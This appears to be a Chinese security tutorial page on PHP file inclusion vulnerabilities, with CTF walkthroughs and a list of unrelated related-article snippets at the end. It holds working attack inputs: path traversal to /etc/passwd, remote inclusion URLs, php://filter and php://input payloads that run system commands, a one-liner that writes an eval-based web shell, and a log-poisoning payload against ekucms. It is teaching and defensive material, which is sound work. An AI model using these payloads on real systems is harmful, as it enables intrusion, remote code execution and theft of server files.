文件操作--文件包含漏洞

本文主要内容

脚本

        ASP、PHP、JSP、ASPX、Python、Javaweb    --# 各种包含函数

检测

        白盒        

                代码审计

        黑盒
                漏扫工具、公开漏洞、手工看参数值及功能点

类型
        本地包含
                有限制、无限制

        远程包含
                无限制、有限制

利用

        http、ftp、file、各种脚本支持协议

修复

        固定后缀、固定文件、WAF产品

--> 将文件以脚本执行

文件包含漏洞

        基本含义

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为,通常分为两种类型:

  • 本地文件包含(LFI):攻击者能够包含和执行服务器本地文件系统中的文件。攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

  • 远程文件包含(RFI):包含互联网可以访问到的文件,危害更大。

文件包含漏洞的根本原因在于用户输入未严格验证、不当的文件处理逻辑以及缺乏安全配置。

       

        模拟场景

场景描述

假设有一个PHP网站,它有一个功能是显示用户的个人资料。网站通过URL参数来接收用户ID,并根据这个ID来显示相应的用户资料。这个功能可能使用了类似下面的代码:

<?php
// 假设用户ID通过URL参数传递
$user_id = $_GET['user_id'];// 根据用户ID包含相应的用户资料文件
include("users/$user_id.php");
?>

在这个例子中,include() 函数被用来包含一个名为 users/$user_id.php 的文件。这里的 $user_id 是从URL参数中直接获取的,没有进行任何验证或过滤。

漏洞利用

攻击者发现这个功能后,可以尝试修改 user_id 参数来包含服务器上的其他文件。例如,攻击者可以通过修改URL为:

  1. http://example.com/profile.php?user_id=../../../../../../../../etc/passwd

    来尝试访问服务器的 /etc/passwd 文件。如果服务器配置不当,允许执行任意文件,攻击者甚至可以包含一个远程服务器上的恶意PHP脚本,从而执行远程代码。

    防御措施

    为了防御这种类型的文件包含漏洞,可以采取以下措施:

    1. 验证和过滤用户输入:确保所有用户输入都经过严格的验证和过滤。在这个例子中,可以检查 $user_id 是否只包含数字和可能的字母(如果用户ID允许字母的话)。

    <?php
    $user_id = $_GET['user_id'];// 验证用户ID是否只包含数字和字母
    if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {die('Invalid user ID.');
    }include("users/$user_id.php");
    ?>

        模拟场景2

        在本地搭建环境:配置一个include.php 文件,同时有一个1.txt文件写入php脚本

        再通过浏览器访问 127.0.0.1:8080/include.php?filename=1.txt

<?php phpinfo();?>
<?php
$filename=$_GET['filename'];
include($filename);//http://127.0.0.1: 8080/include.php?filename=index.txt?>

        对比发现,//127.0.0.1:8080/1.txt  会直接显示文本数据

        而通过include($filename);会将指定文件里面的这个内容呢以这个脚本代码去执行,不同浏览器有自己的脚本样例

        两种类型

        本地包含

                无限制

                浏览器访问访问/127.0.0.1:8080/include.php?filename=../../../www.txt 

                www.txt文件被当作php脚本执行

<?php  echo 'xiaodi';  ?>
                有限制             

                访问会变成 include.php?filename=index.txt.html  

<?php$filename=$_GET['filename'];
include($filename.".html");?>

                %00截断:条件:magic_quotes_gpc= Off php版本<5.3.4
                filename=../../../www.txt%00   --# 不太实用
                长度截断:条件:windows,点号需要长于256;1inux长于4096  --# 加上n个././ 

        远程包含

                将远程文件作为脚本读取     [直接读取会当作文本文件]

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt

<?php$filename=$_GET['filename'];
include($filename);?>

                如果有限制的话如下
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

        协议利用

                表格
协议PHP 支持情况Java 支持情况
http支持支持
https支持支持
gopher需要 curlwrappersJDK 1.7 之前不支持,之后支持
tftp需要 curlwrappers不支持
dict需要 curlwrappers不支持
file支持支持
ftp支持支持
imap需要 curlwrappers不支持
pop3需要 curlwrappers不支持
rtsp需要 curlwrappers支持
smb需要 curlwrappers支持
smtp需要 curlwrappers不支持
telnet需要 curlwrappers不支持

        PS:(curlwrappers 是 PHP 中的一个特性,它允许 PHP 使用 curl 库来处理 URL 流。这意味着可以通过 PHP 的一些常用函数,如 fopen()file_get_contents(),来访问和操作网络资源,而不需要直接使用 curl 库中的函数。curlwrappers 可以简化 URL 操作,使得开发者可以使用 PHP 中的常见函数来处理网络请求,而不必学习 curl 库中的复杂函数。然而,curlwrappers 的功能相对较弱,不能执行 curl 扩展所能进行的更复杂的操作。在编译 PHP 时,可以通过 --with-curlwrappers 选项来启用这个特性。)

        php伪协议:

                参考网站

php伪协议 - 看不尽的尘埃 - 博客园https://www.cnblogs.com/endust/p/11804767.html        

使用案例

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64encode/resource=1.txt    --#读取文件内容


http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?>  --# 使用POST提交
        <?PHP fputs(fopen('s.php','w'),'<?php@eval($_POsT[cmd])?>');?>


http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt


http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?php&20phpinfo();?>

三个案例

        例题1

asdfhttp://4.chinalover.sinaapp.com/web7/index.php

        解题过程

        点开之后变成  /web7/index.php?file=show.php   --# 观察url组成   

        说明可能存在文件包含(访问地址包含其他文件),试探性访问/web7/show.php,发现显示数据一样都是 “test123”,下面的操作就是,要么执行文件,要么执行命令,

        如何确定是Linux还是其他OS呢?输入show.phP,报错则是Linux (不过我这里可能自动转小写,导致没有报错,因为Linux严格区分大小写) ,确定系统,发现路被堵住了,此时切换方法

        /web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php,读取文件内容,加上base64编码是为了防止出现乱码

        例题2

选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋https://www.ichunqiu.com/battalion?t=1&r=0

        确认操作系统时候直接使用协议,看是否有拦截,hunqiu.com/?path=php://input

        输入命令<?php system('cat<dle345aae.php');?>  执行Linux命令,再查看源码,得到flag

        例题3

                /127.0.0.1:8080/ekucms/index.php?s=my/show/id/{~eval($_POST[x])

                访问不存在的文件,不存在就存到日志里面去了

                /127.0.0.1:8080/ekucms/index.php?s=my/show/id/\..\temp\/ogs\25_05_01.log        

                后续就进行漏洞输入x=phpinfo();

ekucms2.5文件漏洞复习_易酷cms漏洞-CSDN博客https://blog.csdn.net/weixin_57744947/article/details/139691909        

知识点补充

PHP 中的 include() 函数用于将指定文件的内容包含到当前文件中,并且执行被包含文件中的代码。被包含的文件通常包含函数定义、类定义、配置设置或任何其他PHP代码。include() 函数在PHP脚本执行期间被调用,它会在脚本执行到该行时,将指定文件的代码读取并执行。

示例

假设有两个文件:header.phpfooter.php,以及一个主文件 index.php

header.php:

<!DOCTYPE html>
<html>
<head><title>My Page</title>
</head>
<body>

footer.php:

</body>
</html>

index.php:

<?php include('header.php'); ?><h1>Welcome to My Page</h1><?php include('footer.php'); ?>

在这个例子中,index.php 使用 include() 函数包含了 header.phpfooter.php 文件。当访问 index.php 时,它实际上显示了这三个文件的内容,即一个完整的HTML页面。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/81230.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/81230.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ActiveMQ 性能优化与网络配置实战(二)

五、性能优化实战 5.1 基础配置调整 5.1.1 增加并发消费者 在 ActiveMQ 中&#xff0c;增加并发消费者是提高消息处理效率的重要手段之一。通过配置多个消费者并行处理消息&#xff0c;可以充分利用系统资源&#xff0c;加快消息的消费速度&#xff0c;从而提高系统的整体吞…

C++/SDL 进阶游戏开发 —— 双人塔防(代号:村庄保卫战 17)

&#x1f381;个人主页&#xff1a;工藤新一 &#x1f50d;系列专栏&#xff1a;C面向对象&#xff08;类和对象篇&#xff09; &#x1f31f;心中的天空之城&#xff0c;终会照亮我前方的路 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 文章目录 二…

贪心算法精解(Java实现):从理论到实战

一、贪心算法概述 贪心算法&#xff08;Greedy Algorithm&#xff09;是一种在每一步选择中都采取当前状态下最优决策的算法策略。它通过局部最优选择来达到全局最优解&#xff0c;具有高效、简洁的特点。 核心特点&#xff1a; 局部最优选择&#xff1a;每一步都做出当前看…

深度学习框架:PyTorch使用教程 !!

文章目录 一、PyTorch框架简介 1.1 什么是PyTorch 1.2 PyTorch的优势 二、从入门到精通的PyTorch使用教程 2.1 入门阶段 2.1.1 环境安装与配置 2.1.2 Tensor基础操作 2.1.3 自动求导&#xff08;Autograd&#xff09; 2.1.4 构建神经网络&#xff08;nn模块&#xff09; 2.1.5 …

系统架构设计师:设计模式——创建型设计模式

一、创建型设计模式 创建型模式抽象了实例化过程&#xff0c;它们帮助一个系统独立于如何创建、组合和表示它的那些对象。一个类创建型模式使用继承改变被实例化的类&#xff0c;而一个对象创建型模式将实例化委托给另一个对象。 随着系统演化得越来越依赖于对象复合而不是类…

Dinero.js - 免费开源的 JavaScript 货币处理工具库,完美解决 JS 浮点数精度丢失问题

今天介绍一个在前后端处理货币的工具库&#xff0c;logo 很可爱&#xff0c;是一只蓝色的招财小猫。 本文封面图底图来自免费 AI 图库 StockCake。 Dinero.js 是一个用于货币计算的 JavaScript 工具库&#xff0c;解决开发者在金融、电商、会计等场景中处理货币时的精度丢失、…

HNUST湖南科技大学-嵌入式考试选择题题库(109道纠正详解版)

HNUST嵌入式选择题题库 1.下面哪点不是嵌入式操作系统的特点。(B) A.内核精简 B.功能强大 C.专用性强 D.高实时性 解析&#xff1a; 嵌入式操作系统特点是内核精简、专用性强、高实时性&#xff0c;而"功能强大"通常指的是通用操作系统&#x…

【工具】Windows批量文件复制教程:用BAT脚本自动化文件管理

一、引言 在日常开发与部署过程中&#xff0c;文件的自动化复制是一个非常常见的需求。无论是在构建过程、自动部署&#xff0c;还是备份任务中&#xff0c;开发者经常需要将某个目录中的 DLL、配置文件、资源文件批量复制到目标位置。相比使用图形界面的复制粘贴操作&#xf…

xray-poc编写示例

禁止未授权扫描和测试行为&#xff01;&#xff01;&#xff01; 1. SQL 时间盲注检测 (Time-Based Blind SQLi) name: generic/time-based-sqli rules:- method: GETpath: "/product?id1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"expression: |response.status…

【Day 14】HarmonyOS分布式数据库实战

一、分布式数据库基础 1. 核心概念速记表 术语解释示例场景分布式数据库数据自动同步到同账号设备手机添加商品→平板立即显示KV数据模型键值对存储&#xff08;类似JSON&#xff09;{"cart_item1": {"name":"牛奶","price":10}}数据…

【数据结构】- 栈

前言&#xff1a; 经过了几个月的漫长岁月&#xff0c;回头时年迈的小编发现&#xff0c;数据结构的内容还没有写博客&#xff0c;于是小编赶紧停下手头的活动&#xff0c;补上博客以洗清身上的罪孽 目录 前言&#xff1a; 栈的应用 括号匹配 逆波兰表达式 数制转换 栈的实…

TDA4VM SDK J721E (RTOS/Linux) bootloaders梳理笔记

文章目录 1. 前言2. RTOS BootLoader2.1 引导模式2.2 启动序列2.2.1 流程框图2.2.2 Memory map2.3 镜像格式详解3. Linux BootLoader镜像格式详解启动流程参考1. 前言 TDA4VM的BootLoader包含两部分:RTOS的和Linux的。 2. RTOS BootLoader 这是在SoC上的所有内核运行FreeRTO…

Spring Boot + MyBatis-Plus 的现代开发模式

之前的Maven项目和本次需要的环境配置并不一样 之前使用的是&#xff1a; 传统的 MyBatis 框架&#xff08;非 Spring Boot 环境&#xff09; 手动管理 SqlSession 使用了 .xml 的 Mapper 映射文件 没有 Spring 容器管理&#xff08;没有 Service / RestController 等&…

【Quest开发】极简版!透视环境下抠出身体并能遮挡身体上的服装

前两天发了一个很复杂的版本&#xff0c;又鼓捣了一下发现完全没有必要。我之前的理解有点偏&#xff08;不是错误的但用法错了&#xff09;&#xff0c;但是有一些小伙伴收藏了&#xff0c;害怕里面的某些东西对谁有用&#xff0c;所以写了一篇新的&#xff0c;前两步配置环境…

vue 常见ui库对比(element、ant、antV等)

Element UI 1. 简介 Element UI 是一个基于 Vue 2 和 Vue 3 的企业级 UI 组件库&#xff0c;提供了丰富的组件和主题定制功能。官方网站&#xff1a;Element UI 2. 主要特点 丰富的组件&#xff1a;包括表单、表格、布局、导航、弹窗等多种组件。主题定制&#xff1a;支持主…

MATLAB画一把伞

% 伞的参数num_ribs 5; % 伞骨数量修改为5R 1; % 伞的半径height 0.5; % 伞的高度handle_length 2; % 伞柄长度semicircle_radius 0.26; % 伞柄末端半圆的半径% 生成伞叶网格theta linspace(0, 2*pi, 100);phi linspace(0, pi/2, 50);[Theta, Phi] meshgrid(theta, phi…

如何在 Go 中实现各种类型的链表?

链表是动态内存分配中最常见的数据结构之一。它由一组有限的元素组成&#xff0c;每个元素&#xff08;节点&#xff09;至少占用两块内存&#xff1a;一块用于存放数据&#xff0c;另一块用于存放指向下一个节点的指针。本文教程将说明在 Go 语言中如何借助指针和结构体类型来…

新一代机载相控阵雷达的发展

相控阵雷达以其优越的性能在军事领域中有着广阔的应用前景&#xff0c;但由于复杂的技术、昂贵的造价使其应用范围还存在一定的局限性。然而&#xff0c;国内外对相控阵技术的研究非常重视&#xff0c;并取得了丰硕的成果。 军用相控阵雷达主要分为陆基、海基和空基几种类型。 …

多数元素题解(LC:169)

169. 多数元素 核心思想&#xff08;Boyer-Moore 投票算法&#xff09;&#xff1a; 解题思路&#xff1a;可以使用 Boyer-Moore 投票算法、该算法的核心思想是&#xff1a; 维护一个候选元素和计数器、初始时计数器为 0。 遍历数组&#xff1a; 当计数器为 0 时、设置当前元…

数据库 AI 助手测评:Chat2DB、SQLFlow 等工具如何提升开发效率?

一、引言:数据库开发的 “效率革命” 正在发生 在某互联网金融公司的凌晨故障现场,资深 DBA 正满头大汗地排查一条执行超时的 SQL—— 该语句涉及 7 张核心业务表的复杂关联,因索引缺失导致全表扫描,最终引发交易系统阻塞。这类场景在传统数据库开发中屡见不鲜:据 Gartne…